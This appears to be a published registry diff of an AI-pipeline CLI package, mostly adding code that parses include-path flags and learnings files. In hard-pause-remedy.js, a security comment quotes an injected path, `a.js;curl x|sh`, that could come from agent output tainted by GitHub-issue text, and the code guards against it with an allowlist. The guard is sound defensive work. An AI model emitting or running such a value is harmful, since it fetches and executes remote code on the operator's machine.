@hone-ai/cli 1.34.0 → 1.35.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (44) hide show
  1. package/bin/hone-mcp.js +1 -0
  2. package/hone-cli.js +1263 -756
  3. package/lib/agent-eval-pacing.js +102 -0
  4. package/lib/agent-eval-probes-boundary.js +0 -0
  5. package/lib/agent-eval-probes-stateful.js +72 -0
  6. package/lib/agent-eval-score.js +70 -0
  7. package/lib/agent-executor.js +26 -4
  8. package/lib/asset-fetch-list.js +72 -0
  9. package/lib/auto-verify.js +67 -3
  10. package/lib/batch-follow.js +333 -0
  11. package/lib/block-grammar.js +126 -0
  12. package/lib/bundle-context.js +43 -4
  13. package/lib/bundle-paths.js +698 -1
  14. package/lib/bundle-source-dirs.js +79 -0
  15. package/lib/doctor-bind-default.js +192 -18
  16. package/lib/doctor-local-run.js +139 -1
  17. package/lib/emit-pr.js +39 -6
  18. package/lib/git-helpers.js +19 -8
  19. package/lib/hard-pause-remedy.js +101 -0
  20. package/lib/include-paths.js +155 -0
  21. package/lib/learnings-parse.js +51 -6
  22. package/lib/materialize-diff.js +131 -73
  23. package/lib/pipeline-config.js +182 -0
  24. package/lib/private-temp.js +34 -0
  25. package/lib/promote-payload.js +77 -0
  26. package/lib/refresh-knowledge.js +15 -6
  27. package/lib/repo-tree.js +22 -3
  28. package/lib/run-context.js +698 -0
  29. package/lib/sandbox-lifecycle.js +357 -0
  30. package/lib/schedule-cron.js +1 -1
  31. package/lib/skill-assertions.js +61 -7
  32. package/lib/skill-audit-render.js +1 -1
  33. package/lib/story-classifier-extract.js +16 -8
  34. package/lib/story-classifier.js +64 -0
  35. package/lib/story-compose.js +69 -0
  36. package/lib/story-line.js +40 -0
  37. package/lib/story-provenance.js +267 -0
  38. package/lib/timeout-option.js +42 -0
  39. package/lib/untrusted-code-env.js +51 -0
  40. package/lib/verdict-env.js +31 -0
  41. package/lib/verify-patch.js +74 -4
  42. package/lib/verify-pr.js +2 -1
  43. package/lib/worktree-provision.js +62 -2
  44. package/package.json +1 -1
@@ -0,0 +1,101 @@
1
+ 'use strict';
2
+ /**
3
+ * hard-pause-remedy.js — HC-GF-263: render a paused run's parsed context request.
4
+ *
5
+ * The CLI prints the truncated `errorMessage` at a pause and nothing else, and on a HUMAN_GATE
6
+ * outcome it prints no reason at all (`⏳ Step … — awaiting approval`). The server now records
7
+ * what the step ASKED FOR in `workflow_step_results.failure_record.context_requests`, projected
8
+ * by the existing GET diagnostics allowlist. This turns it into one pasteable line.
9
+ *
10
+ * PURE: data in, strings out. No fs, no console, no process.
11
+ *
12
+ * TOLERANT OF AN OLDER SERVER BY CONSTRUCTION. A missing `diagnostics`, a null `failure_record`,
13
+ * a `context_requests` of the wrong shape and an empty `paths` all return null, which is today's
14
+ * output. That is what makes the deploy order free: server-first works because the CLI ignores
15
+ * the new key, CLI-first works because the key is simply absent.
16
+ */
17
+
18
+ /**
19
+ * The request belonging to the step the run is PAUSED AT, or null.
20
+ *
21
+ * SCOPED TO `currentStep`, NOT "the newest step that has one". `failure_record` is durable, so
22
+ * once step_1 hard-pauses with a remedy that row keeps it for the life of the run. A reverse
23
+ * scan over every step then prints step_1's files at an unrelated step_4 gate — a command
24
+ * attributed to nothing, at a step that asked for nothing.
25
+ *
26
+ * That is HC-GF-047's lesson one layer up, and orchestrator.js quotes it verbatim: "a
27
+ * stale-but-plausible instruction is worse than none, because the builder acts on it". A
28
+ * printed re-queue command is exactly the kind an operator acts on without re-deriving it.
29
+ *
30
+ * Returning null for a gate with no request of its own is correct and is today's output.
31
+ *
32
+ * @param {object} status a GET /orchestrate/:runId payload, straight off the network and
33
+ * therefore not trusted to have any particular shape
34
+ * @returns {{stepKey: string, paths: Array<object>, truncated: boolean}|null}
35
+ */
36
+ function remedyFor(status) {
37
+ const s = (status && typeof status === 'object') ? status : {};
38
+ const steps = Array.isArray(s.steps) ? s.steps : [];
39
+ const step = steps.find((x) => x && typeof x === 'object' && x.stepKey === s.currentStep);
40
+ if (!step) return null;
41
+ const diag = step.diagnostics;
42
+ if (!diag || typeof diag !== 'object') return null;
43
+ const rec = diag.failure_record;
44
+ if (!rec || typeof rec !== 'object') return null;
45
+ const req = rec.context_requests;
46
+ if (!req || typeof req !== 'object' || Array.isArray(req)) return null;
47
+ const paths = Array.isArray(req.paths) ? req.paths.filter((p) => p && p.path) : [];
48
+ if (paths.length === 0) return null;
49
+ return { stepKey: step.stepKey, paths, truncated: req.truncated === true };
50
+ }
51
+
52
+ /**
53
+ * H5 — THIS MODULE IS THE TRUST BOUNDARY. Every token it prints came out of an LLM artifact, and
54
+ * the line it builds exists to be pasted into a shell. The agent's input is not trusted either:
55
+ * bundled adopter source and the story text (which can come from a GitHub issue) both reach it,
56
+ * so a "path" like `a.js;curl x|sh` or one carrying a terminal escape is a plausible artifact.
57
+ *
58
+ * DROP AND COUNT, never shell-quote. A token outside this set is far likelier to be a parse
59
+ * artifact than a real filename, and a silently quoted oddity is a command that runs and does
60
+ * nothing. A LEADING DASH is refused too: `--include-paths -rf` parses as an option, not a path.
61
+ * The parser upstream stays total — it records what the agent wrote; only printing is guarded.
62
+ */
63
+ const SAFE_TOKEN = /^[\w./:@+-]+$/;
64
+ const SAFE_STORY_ID = /^[\w.-]+$/;
65
+
66
+ function tokenOf(p) {
67
+ return p.raw || (p.anchor ? `${p.path}:${p.anchor}` : p.path);
68
+ }
69
+
70
+ function isSafeToken(t) {
71
+ return typeof t === 'string' && t.length > 0 && SAFE_TOKEN.test(t) && !t.startsWith('-');
72
+ }
73
+
74
+ /** Split requested paths into the ones safe to print and the ones dropped, so a caller can say so. */
75
+ function partitionSafePaths(paths) {
76
+ const list = Array.isArray(paths) ? paths.filter((p) => p && p.path) : [];
77
+ const safe = [];
78
+ const dropped = [];
79
+ for (const p of list) (isSafeToken(tokenOf(p)) ? safe : dropped).push(p);
80
+ return { safe, dropped };
81
+ }
82
+
83
+ /**
84
+ * One ready-to-paste command, built from the SAFE paths only.
85
+ *
86
+ * REPEATED FLAGS, not a comma list: `collectIncludePaths` accumulates every occurrence
87
+ * (HC-GF-202), and the repeated form is what the CLI's own warning already tells operators to
88
+ * use. `raw` is preferred over re-joining path+anchor so a `path:symbol` anchor survives exactly
89
+ * as the agent wrote it.
90
+ *
91
+ * A missing OR UNSAFE storyId renders the literal `<story-id>` — a command that visibly needs one
92
+ * edit beats one that looks correct and is not, or one that runs something else.
93
+ */
94
+ function renderIncludePathsCommand(storyId, paths) {
95
+ const { safe } = partitionSafePaths(paths);
96
+ if (safe.length === 0) return '';
97
+ const id = storyId && SAFE_STORY_ID.test(String(storyId)) ? String(storyId) : '<story-id>';
98
+ return `hone run-story ${id} ${safe.map((p) => `--include-paths ${tokenOf(p)}`).join(' ')}`;
99
+ }
100
+
101
+ module.exports = { remedyFor, renderIncludePathsCommand, partitionSafePaths };
@@ -0,0 +1,155 @@
1
+ 'use strict';
2
+ /**
3
+ * `--include-paths` is the operator's escape hatch when the bundler cannot see a
4
+ * file the story needs. HC-GF-202: it accepted only ONE form.
5
+ *
6
+ * The option is declared `<paths>`, single-valued and comma-separated, so
7
+ * commander keeps the LAST occurrence when the flag is repeated. The planner's
8
+ * own refusal printed `--include-paths Makefile --include-paths scripts/`, which
9
+ * therefore resolved to `"scripts/"` and silently dropped `Makefile` — an
10
+ * operator who followed the instruction exactly received a byte-identical bundle
11
+ * to having passed nothing at all. Measured twice, 7,621 chars each.
12
+ *
13
+ * Both forms are now accepted. The advice the planner prints is correct and is
14
+ * the cheapest escape hatch the bundler has; the flag honours it.
15
+ */
16
+
17
+ /**
18
+ * commander collector: accumulate every occurrence instead of replacing.
19
+ * Declared as `.option('--include-paths <paths>', desc, collectIncludePaths, [])`.
20
+ */
21
+ function collectIncludePaths(value, previous) {
22
+ return (Array.isArray(previous) ? previous : []).concat([value]);
23
+ }
24
+
25
+ /**
26
+ * Normalise whatever the flag produced into an ordered, de-duplicated path list.
27
+ * Accepts a bare string (comma form), an array (repeated flags), or a mix.
28
+ */
29
+ function parseIncludePaths(raw) {
30
+ if (raw === undefined || raw === null) return [];
31
+ const parts = Array.isArray(raw) ? raw : [raw];
32
+ const out = [];
33
+ for (const part of parts) {
34
+ for (const piece of String(part).split(',')) {
35
+ const p = piece.trim();
36
+ // An empty entry would become a candidate path of '', which existsSync
37
+ // answers false for — a silent no-op indistinguishable from a typo.
38
+ if (!p) continue;
39
+ if (!out.includes(p)) out.push(p);
40
+ }
41
+ }
42
+ return out;
43
+ }
44
+
45
+ /**
46
+ * Split one `--include-paths` entry into the file and the region inside it.
47
+ *
48
+ * HC-GF-205: `planFileExcerpt` honours a `line`, and the bundler's own shortfall
49
+ * notice tells the operator to "name them as `path:<line>` to bundle one
50
+ * directly". But the flag added the RAW string as a candidate path, so
51
+ * `cli/hone-cli.js:8500` was looked up as a filename, `existsSync` said no, and
52
+ * the entry vanished with no message — the file then fell back to inferred
53
+ * anchors and bundled the same wrong regions. The remedy the tool printed was a
54
+ * form the tool did not accept.
55
+ *
56
+ * A SYMBOL is accepted as well as a line. The refusals name symbols ("the block
57
+ * that calls `provisionWorktree`"); an operator can copy one out of a refusal,
58
+ * but to use the numeric form they must open the file and count.
59
+ *
60
+ * Deliberately strict: only a positive integer is a line, and only a JS-style
61
+ * identifier is a symbol. Anything else stays part of the path, because
62
+ * reinterpreting a malformed entry is how a typo becomes a silent no-op.
63
+ */
64
+ function parseIncludeTarget(entry) {
65
+ const raw = String(entry === undefined || entry === null ? '' : entry).trim();
66
+ const mLine = raw.match(/^(.+):(\d+)$/);
67
+ if (mLine && Number(mLine[2]) > 0) {
68
+ return { raw, path: mLine[1], line: Number(mLine[2]), symbol: null };
69
+ }
70
+ const mSym = raw.match(/^(.+):([A-Za-z_$][\w$]*)$/);
71
+ if (mSym) return { raw, path: mSym[1], line: null, symbol: mSym[2] };
72
+ return { raw, path: raw, line: null, symbol: null };
73
+ }
74
+
75
+ /**
76
+ * Split include-path entries into those whose FILE exists and those that resolve
77
+ * to nothing. HC-GF-205: an entry that resolves to no file used to be dropped in
78
+ * silence, which is indistinguishable from it having been bundled — six attempts
79
+ * were spent before anyone noticed the flag had done nothing.
80
+ */
81
+ function partitionIncludeTargets(entries, exists) {
82
+ const resolved = [];
83
+ const missing = [];
84
+ for (const entry of parseIncludePaths(entries)) {
85
+ const target = parseIncludeTarget(entry);
86
+ (exists(target.path) ? resolved : missing).push(target);
87
+ }
88
+ return { resolved, missing };
89
+ }
90
+
91
+ /**
92
+ * Every line a file is EXPLICITLY anchored at, the operator's first — HC-GF-288.
93
+ *
94
+ * The bundler kept one line per file and filled it story-first, so an operator's
95
+ * `--include-paths f.js:N` for a file the story already cited as `f.js:M` was discarded
96
+ * with no message and M bundled again. Measured on run 31f78a92: five other anchors were
97
+ * honoured and `cli/hone-cli.js:6180` produced the same five regions as a run without it.
98
+ * An operator names a region because the bundle lacked it, usually on the pipeline's own
99
+ * advice (HC-GF-263 prints the command), so ignoring it repeats the refusal that prompted it.
100
+ *
101
+ * ALONGSIDE, NOT INSTEAD. The story's line stays, after the operator's: it is the region the
102
+ * agent already had and asked for MORE than, and dropping it trades one refusal for another.
103
+ * That is HC-GF-216's rule one layer up: a stated line seeds the spread, it never replaces it.
104
+ *
105
+ * A symbol resolves against the file's contents, so it can only be resolved here. One that
106
+ * does not resolve is returned in `unresolved`, never dropped in silence.
107
+ *
108
+ * @param {{path: string, content: string, operator?: Array<{raw: string, line: number|null, symbol: string|null}>, storyLine?: number|null}} input
109
+ * @returns {{anchors: Array<{line: number, raw: string, source: 'operator'|'story'}>, unresolved: Array<{raw: string, reason: string}>}}
110
+ */
111
+ function statedAnchorsFor({ path: filePath, content, operator = [], storyLine = null } = {}) {
112
+ const { definitionIndexOf } = require('./bundle-paths');
113
+ const text = String(content || '');
114
+ const anchors = [];
115
+ const unresolved = [];
116
+ const add = (line, raw, source) => {
117
+ if (!anchors.some((a) => a.line === line)) anchors.push({ line, raw, source });
118
+ };
119
+ for (const t of Array.isArray(operator) ? operator : []) {
120
+ if (t.line) { add(Number(t.line), t.raw, 'operator'); continue; }
121
+ if (!t.symbol) continue;
122
+ const idx = definitionIndexOf(text, t.symbol);
123
+ if (idx === -1) { unresolved.push({ raw: t.raw, reason: 'symbol not found in the file' }); continue; }
124
+ add(text.slice(0, idx).split('\n').length, t.raw, 'operator');
125
+ }
126
+ if (storyLine) add(Number(storyLine), `${filePath}:${storyLine}`, 'story');
127
+ return { anchors, unresolved };
128
+ }
129
+
130
+ /**
131
+ * One warning per stated anchor the excerpt planner could not honour — HC-GF-288.
132
+ *
133
+ * Named by what the operator TYPED (`raw`), so a `path:symbol` entry is reported as the
134
+ * symbol they passed, not as a line number they never saw.
135
+ *
136
+ * @param {Array<{line: number, raw: string, source: string}>} anchors from statedAnchorsFor
137
+ * @param {Array<{line: number, reason: string, totalLines: number}>} unhonoured from planFileExcerpt
138
+ * @returns {string[]}
139
+ */
140
+ function anchorWarnings(anchors, unhonoured) {
141
+ const out = [];
142
+ for (const u of Array.isArray(unhonoured) ? unhonoured : []) {
143
+ const a = (anchors || []).find((x) => x.line === u.line);
144
+ const who = a && a.source === 'story' ? `story reference '${a.raw}'` : `--include-paths '${a ? a.raw : u.line}'`;
145
+ out.push(u.reason === 'past-eof'
146
+ ? ` \u26a0 ${who} — the file has ${u.totalLines} lines; line ${u.line} does not exist, not anchored`
147
+ : ` \u26a0 ${who} — NOT bundled: this file's stated regions exceed its per-file cap; name fewer regions in it`);
148
+ }
149
+ return out;
150
+ }
151
+
152
+ module.exports = {
153
+ collectIncludePaths, parseIncludePaths, parseIncludeTarget, partitionIncludeTargets,
154
+ statedAnchorsFor, anchorWarnings,
155
+ };
@@ -122,8 +122,13 @@ function parseLearningsFile(content, opts = {}) {
122
122
  // LC-001: validateCategory may throw on malformed enum value. Catch and
123
123
  // surface as parseError rather than crashing the whole file walk.
124
124
  try {
125
- if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted), warning };
126
- if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted), warning };
125
+ // HC-GF-208: `warning` is not handed on by the A and B paths because it cannot
126
+ // exist there. It is set only for a non-array object carrying BOTH arrays: A
127
+ // requires Array.isArray(parsed), which that test excludes, and had both arrays
128
+ // been present C would have won detection, so B never sees one either. Passing a
129
+ // field that is always undefined reads like a carried value and is not one.
130
+ if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted) };
131
+ if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted) };
127
132
  if (schema === SCHEMA_C) return { schema, eligible: parseSchemaC(parsed, includePromoted), warning };
128
133
  if (schema === SCHEMA_D) return { schema, eligible: parseSchemaD(parsed, includePromoted), warning };
129
134
  } catch (e) {
@@ -150,9 +155,21 @@ function parseSchemaA(items, includePromoted = false) {
150
155
  // LC-001: optional categorization fields (G2 partial). All optional;
151
156
  // default null. validateCategory throws on malformed enum.
152
157
  category: validateCategory(i.category),
158
+ // HC-GF-264: `targetOf` checks `target_skill` FIRST and calls it "the most specific statement
159
+ // of intent there is". None of these four maps carried it, so that branch never executed in
160
+ // this repo and routing fell through to `agent` — the field that records who NOTICED.
161
+ // Measured 2026-09-24: 203 of 775 items set it and 150 routed elsewhere. This is HC-GF-159a's
162
+ // defect recurring on the field that fix introduced: it added `target_skill` to
163
+ // `PROMOTED_FIELDS` and to `targetOf`, and not to the parsers that feed them.
164
+ target_skill: i.target_skill || null,
153
165
  referenced_skill: i.referenced_skill || null,
154
166
  referenced_section: i.referenced_section || null,
155
167
  evidence: Array.isArray(i.evidence) ? i.evidence : (i.evidence ? [i.evidence] : null),
168
+ // HC-GF-159a: the legacy list format routes like the others. No file in this repo uses it,
169
+ // which is why its handoffs went unasserted — but an adopter's older files still can.
170
+ type: i.type || null,
171
+ agent: i.agent || null,
172
+ proposed_fix: typeof i.proposed_fix === 'string' ? i.proposed_fix : null,
156
173
  }));
157
174
  }
158
175
 
@@ -181,6 +198,10 @@ function parseSchemaB(doc, includePromoted = false) {
181
198
  // `candidate_for` already serves the role of referenced_skill, so
182
199
  // we fall back to it when the explicit field is absent.
183
200
  category: validateCategory(c.category),
201
+ // HC-GF-264. Deliberately no `|| c.candidate_for` here: `candidate_for` says which skill the
202
+ // work applied, which is what `referenced_skill` below already borrows it for. Reusing it as a
203
+ // destination would invent an intent the author did not state.
204
+ target_skill: c.target_skill || null,
184
205
  referenced_skill: c.referenced_skill || c.candidate_for || null,
185
206
  referenced_section: c.referenced_section || null,
186
207
  evidence: Array.isArray(c.evidence) ? c.evidence : (c.evidence ? [c.evidence] : null),
@@ -211,9 +232,15 @@ function parseSchemaC(doc, includePromoted = false) {
211
232
  _schema: SCHEMA_C,
212
233
  // LC-001: optional categorization fields (G2 partial).
213
234
  category: validateCategory(l.category),
235
+ target_skill: l.target_skill || null, // HC-GF-264
214
236
  referenced_skill: l.referenced_skill || null,
215
237
  referenced_section: l.referenced_section || null,
216
238
  evidence: Array.isArray(l.evidence) ? l.evidence : (l.evidence ? [l.evidence] : null),
239
+ // HC-GF-159a: the source YAML has carried these all along; dropping them here is why every
240
+ // promoted learning reached the server with `type: unknown` and no agent or fix text.
241
+ type: l.type || null,
242
+ agent: l.agent || null,
243
+ proposed_fix: typeof l.proposed_fix === 'string' ? l.proposed_fix : null,
217
244
  }));
218
245
  }
219
246
 
@@ -245,9 +272,15 @@ function parseSchemaD(doc, includePromoted = false) {
245
272
  enterprise_candidate: true,
246
273
  _schema: SCHEMA_D,
247
274
  category: validateCategory(doc.category),
275
+ target_skill: doc.target_skill || null, // HC-GF-264
248
276
  referenced_skill: doc.referenced_skill || null,
249
277
  referenced_section: doc.referenced_section || null,
250
278
  evidence: Array.isArray(doc.evidence) ? doc.evidence : (doc.evidence ? [doc.evidence] : null),
279
+ // HC-GF-159a: 119 of the 418 eligible learnings are Schema D. A fix covering only Schema C
280
+ // leaves those routing to 'general'.
281
+ type: doc.type || null,
282
+ agent: doc.agent || null,
283
+ proposed_fix: typeof doc.proposed_fix === 'string' ? doc.proposed_fix : null,
251
284
  }];
252
285
  }
253
286
 
@@ -279,7 +312,11 @@ function escapeRegex(s) {
279
312
  function writeBackA(content, ids) {
280
313
  for (const id of ids) {
281
314
  const escaped = escapeRegex(id);
282
- const idPattern = new RegExp(`(id:\\s*${escaped}[\\s\\S]*?status:\\s*)pending`, 'm');
315
+ // HC-GF-208: the gap below is lazy but was unbounded, so when the named item has
316
+ // no `status:` of its own it ran on to the NEXT item's and marked the WRONG
317
+ // learning promoted, leaving the named one pending forever. Stop at the next
318
+ // top-level `- id:` line, which is where this item's block ends.
319
+ const idPattern = new RegExp(`(id:\\s*${escaped}(?:(?!\\n- id:)[\\s\\S])*?status:\\s*)pending`, 'm');
283
320
  if (idPattern.test(content)) {
284
321
  content = content.replace(idPattern, '$1promoted');
285
322
  }
@@ -355,16 +392,24 @@ function rewriteWithStatusInsertion(content, matcher) {
355
392
  if (!r.matched) continue;
356
393
 
357
394
  // Look ahead through this item's block to detect existing status.
358
- let hasStatus = false;
395
+ let statusIdx = -1;
359
396
  for (let j = i + 1; j < lines.length; j++) {
360
397
  const next = lines[j];
361
398
  // End of block: next sibling id line at the same-or-lesser list indent.
362
399
  if (/^ {2,}- id:/.test(next)) break;
363
400
  // End of block: a non-indented (top-level) line means we've left the array.
364
401
  if (/^\S/.test(next)) break;
365
- if (/^ {4,}status:\s*\S/.test(next)) { hasStatus = true; break; }
402
+ if (/^ {4,}status:\s*\S/.test(next)) { statusIdx = j; break; }
366
403
  }
367
- if (!hasStatus) out.push(`${r.indent}status: promoted`);
404
+ if (statusIdx === -1) { out.push(`${r.indent}status: promoted`); continue; }
405
+ // HC-GF-208: an existing status line used to end the matter, so a learning
406
+ // authored with `status: pending` could never be flipped — it stayed eligible
407
+ // and was re-promoted on every run, while the write still reported success
408
+ // because the content came back byte-identical. Rewrite pending in place.
409
+ // Any other state (promoted, retracted) is deliberate and left alone: a
410
+ // retracted learning must not be silently re-promoted.
411
+ const st = lines[statusIdx].match(/^(\s*status:\s*)pending\s*$/);
412
+ if (st) lines[statusIdx] = `${st[1]}promoted`;
368
413
  }
369
414
  return out.join('\n');
370
415
  }
@@ -22,33 +22,20 @@
22
22
  const path = require('node:path');
23
23
 
24
24
  /**
25
- * A ```file:<path> fenced block, capturing the path and the verbatim body.
26
- * Info-string tolerant: ```file:foo, ``` file: foo, ```FILE:foo all match.
25
+ * The block grammar — `file:` and `edit:` blocks, the OLD/NEW split, `DELETE:` lines — lives in
26
+ * block-grammar.js, a byte-identical copy of the server's, so the CLI that applies a build and the
27
+ * server that stores it read the same blocks (HC-GF-290). Its comments carry the history: HC-GF-022
28
+ * (an empty block), HC-GF-127 (a longer fence for a `file:`), HC-GF-109 (a framed edit body) and
29
+ * HC-GF-290 (a longer fence for an `edit:`).
27
30
  *
28
- * HC-GF-022: the closing fence is anchored to its OWN LINE (`^...$` under /m).
29
- * The previous form spelled the terminator `\r?\n``` `, which REQUIRED a newline
30
- * between the opener and the closer and so could not match an EMPTY block. On a
31
- * legitimately empty file (`flowforge/core/__init__.py` — every Python package
32
- * has one) the body then swallowed its own closing fence, matched the NEXT
33
- * block's opening fence as its terminator, and consumed it: the empty file was
34
- * written containing a literal ``` `, and the following file — 2,888 bytes of
35
- * pipeline logic — vanished from the diff entirely. `check-patch` reported
36
- * "applies cleanly", because the diff git built from the surviving blocks was
37
- * perfectly valid. Line-anchoring is also strictly better for a body that
38
- * contains an indented or info-tagged fence of its own.
31
+ * A `file:` block (HC-019n-followup-23) is a whole file. An `edit:` block (HC-019n-followup-27) is for
32
+ * a file too big to bundle whole (>25K chars, truncated/windowed): step_4 never saw the whole file,
33
+ * so it emits a unique OLD anchor from the excerpt it WAS shown and its NEW replacement, framed with
34
+ * conflict markers. The CLI applies OLD→NEW to the REAL full file on disk and lets git build the
35
+ * diff — so the count stays git's, exactly as for whole-file blocks. See
36
+ * .github/pipeline/HC-019n-followup-27/architect.md.
39
37
  */
40
- /**
41
- * HC-GF-127: the fence is 3 OR MORE backticks, and the closer must MATCH the opener (backreference).
42
- *
43
- * It used to be exactly three, so a block closed on the first ``` line inside it: a README carrying
44
- * a ```js sample ended AT the sample, the rest was lost, and `malformed` came back empty — the
45
- * artifact looked valid and materialized to the wrong bytes. Widening the opener alone would not
46
- * help; only a matching closer lets a wider fence carry content that contains a narrower one.
47
- *
48
- * 3-backtick blocks parse exactly as before: `\1` on a 3-backtick opener IS the old literal. Pinned
49
- * against 48 artifacts captured from real runs.
50
- */
51
- const FILE_BLOCK_RE = /^[ \t]*(`{3,})[ \t]*file[ \t]*:[ \t]*([^\n`]+?)[ \t]*\r?\n([\s\S]*?)^[ \t]*\1[ \t]*\r?$/gim;
38
+ const { FILE_BLOCK_RE, EDIT_BLOCK_RE, EDIT_OPEN_RE, EDIT_SPLIT_RE, DELETE_RE } = require('./block-grammar');
52
39
 
53
40
  /**
54
41
  * The line-anchored closer necessarily absorbs the newline that terminates the
@@ -60,39 +47,6 @@ function blockBody(raw) {
60
47
  return String(raw == null ? '' : raw).replace(/\r?\n$/, '');
61
48
  }
62
49
 
63
- /**
64
- * A ```edit:<path> fenced block — HC-019n-followup-27. For a file too big to
65
- * bundle whole (>25K chars, truncated/windowed), step_4 cannot emit a whole-file
66
- * block (it never saw the whole file). Instead it emits a REGION edit: a unique
67
- * OLD anchor (from the excerpt it WAS shown) and its NEW replacement, framed with
68
- * conflict markers. The CLI applies OLD→NEW to the REAL full file on disk and
69
- * lets git build the diff — so the count stays git's, exactly as for whole-file
70
- * blocks. See .github/pipeline/HC-019n-followup-27/architect.md.
71
- */
72
- const EDIT_BLOCK_RE = new RegExp(
73
- '^[ \\t]*```[ \\t]*edit[ \\t]*:[ \\t]*([^\\n`]+?)[ \\t]*\\r?\\n(' +
74
- // HC-GF-109: a framed body ends at the fence after its `>>>>>>> NEW` line, so a NEW holding a fence line of its own
75
- // (a docstring example, a Markdown file) is not cut short, and it never runs on into the next block.
76
- '<{3,}[ \\t]*OLD[ \\t]*\\r?\\n(?:(?!^[ \\t]*```[ \\t]*(?:file|edit)[ \\t]*:)[\\s\\S])*?^>{3,}[ \\t]*NEW[ \\t]*\\r?\\n' +
77
- // Anything else runs to the first fence line, and extractFileBlocks reports it as malformed.
78
- '|(?:(?!^[ \\t]*```)[\\s\\S])*?' +
79
- ')^[ \\t]*```[ \\t]*\\r?$',
80
- 'gim');
81
-
82
- /** HC-GF-109: the opening line of an edit block, whether or not the block parses — compared, so none is lost. */
83
- const EDIT_OPEN_RE = /^[ \t]*`{3,}[ \t]*edit[ \t]*:[ \t]*([^\n`]+?)[ \t]*\r?$/gim;
84
-
85
- /**
86
- * The OLD/NEW split inside an edit block. `<<<<<<< OLD` … `=======` … `>>>>>>> NEW`.
87
- * Whitespace after the marker word is tolerated; the bodies are captured verbatim
88
- * (indentation is part of the anchor). An empty NEW deletes the anchor (HC-GF-109) — it used to
89
- * fail this split, and the block was skipped without a word.
90
- */
91
- const EDIT_SPLIT_RE = /^<{3,}[ \t]*OLD[ \t]*\r?\n([\s\S]*?)\r?\n={3,}[ \t]*\r?\n(?:([\s\S]*?)\r?\n)?>{3,}[ \t]*NEW[ \t]*\r?$/m;
92
-
93
- /** A `DELETE: <path>` line inside the ## Changed Files section. */
94
- const DELETE_RE = /^[ \t]*DELETE:[ \t]*(\S.*?)[ \t]*$/gim;
95
-
96
50
  /**
97
51
  * Typed error for the region-edit apply path, so a consumer can map it to a
98
52
  * distinct exit code and a message that tells step_4 how to fix its anchor.
@@ -119,15 +73,15 @@ class MaterializeError extends Error {
119
73
  * reason: string|null
120
74
  * }}
121
75
  */
122
- function extractFileBlocks(output) {
123
- const text = String(output || '');
76
+ /**
77
+ * HC-GF-191: the parser, over an ALREADY-SCOPED string. Split out so the same reading can be run
78
+ * twice — once over the mandated section, and once over the whole artifact when that section
79
+ * turned out to hold nothing. It used to compute its own scope, which made "what did the scope
80
+ * cost us?" a question no caller could ask.
81
+ */
82
+ function parseBlocksIn(scope) {
124
83
  const empty = { files: [], edits: [], deletes: [], malformed: [], noChanges: false, reason: null };
125
84
 
126
- // Scope everything to the ## Changed Files section if present, so a code
127
- // sample elsewhere in the prose is never mistaken for an intended file.
128
- const secIdx = text.search(/^##\s+Changed Files/im);
129
- const scope = secIdx === -1 ? text : text.slice(secIdx);
130
-
131
85
  // Honest no-op, same shape as the followup-19 NO CHANGES escape. A NO CHANGES
132
86
  // declaration only counts when there is NO file AND NO edit block to apply.
133
87
  const hasBlock = (FILE_BLOCK_RE.test(scope) || EDIT_OPEN_RE.test(scope));
@@ -158,10 +112,10 @@ function extractFileBlocks(output) {
158
112
  const parsedAt = new Set();
159
113
  for (const m of scope.matchAll(EDIT_BLOCK_RE)) {
160
114
  parsedAt.add(m.index);
161
- const rel = normalizeRepoPath(m[1]);
115
+ const rel = normalizeRepoPath(m[2]); // HC-GF-290: m[1] is the fence now
162
116
  if (!rel) continue;
163
117
  if (seen.has(rel)) continue; // a whole-file block wins
164
- const split = EDIT_SPLIT_RE.exec(m[2]);
118
+ const split = EDIT_SPLIT_RE.exec(m[3]);
165
119
  if (!split) { // no OLD/NEW markers: reported, and buildDiff refuses the patch
166
120
  malformed.push({ path: rel, reason: 'no <<<<<<< OLD / ======= / >>>>>>> NEW markers' });
167
121
  continue;
@@ -224,6 +178,49 @@ function applyEdit(fileContents, oldString, newString, repoPath) {
224
178
  return src.slice(0, idx) + String(newString) + src.slice(idx + anchor.length);
225
179
  }
226
180
 
181
+ /**
182
+ * HC-GF-265 — the two-index diagnosis. BYTE-IDENTICAL to the copy in
183
+ * server/src/services/carry-forward.js (the server cannot require the CLI package, so the
184
+ * wording is restated, not imported); parity is pinned by
185
+ * tests/regression/HC-GF-265-diagnosis-message-parity.test.js.
186
+ */
187
+ function destroyedAnchorSuffix(j, k, total) {
188
+ return `Edit ${j} of ${total} rewrote this anchor: it matched before edit ${j} was applied and not after. `
189
+ + `Merge edits ${j} and ${k} into ONE edit whose OLD is the text as it stands before either change.`;
190
+ }
191
+
192
+ /**
193
+ * HC-GF-265 — which EARLIER edit destroyed edit k's anchor. Returns a 0-based index, or null.
194
+ *
195
+ * Runs only on the failure path, so an accept/reject outcome cannot change: nothing is
196
+ * pre-checked. Edit ORDER is load-bearing (HC-GF-109, run 1a8940af), so the earlier edits are
197
+ * REPLAYED over the original base rather than matched against it — which is why run 011f04c7,
198
+ * where two edits share an OLD first line and both apply, is never touched.
199
+ *
200
+ * null means "today's message": the anchor matched at no stage of the replay (the HC-GF-222 shape,
201
+ * explicitly out of scope), the anchor is empty, or no earlier edit stopped it matching. An anchor
202
+ * absent from the ORIGINAL file is still replayed: an earlier edit may have inserted it (HC-GF-109). Never fabricates
203
+ * a pair. The LAST >0→0 transition wins: if edit j destroys the anchor and a later edit
204
+ * re-inserts it, the culprit is the edit after the re-insertion, not j.
205
+ */
206
+ function diagnoseDestroyedAnchor(baseContents, edits, k) {
207
+ const anchor = String((edits[k] && edits[k].oldString) || '');
208
+ if (!anchor || k < 1) return null;
209
+ let cur = String(baseContents);
210
+ let lastBreak = null;
211
+ for (let j = 0; j < k; j++) {
212
+ let next;
213
+ try {
214
+ next = applyEdit(cur, edits[j].oldString, edits[j].newString, '');
215
+ } catch {
216
+ return lastBreak; // replay diverged — report only what is established, never a guess
217
+ }
218
+ if (countOccurrences(cur, anchor) > 0 && countOccurrences(next, anchor) === 0) lastBreak = j;
219
+ cur = next;
220
+ }
221
+ return lastBreak;
222
+ }
223
+
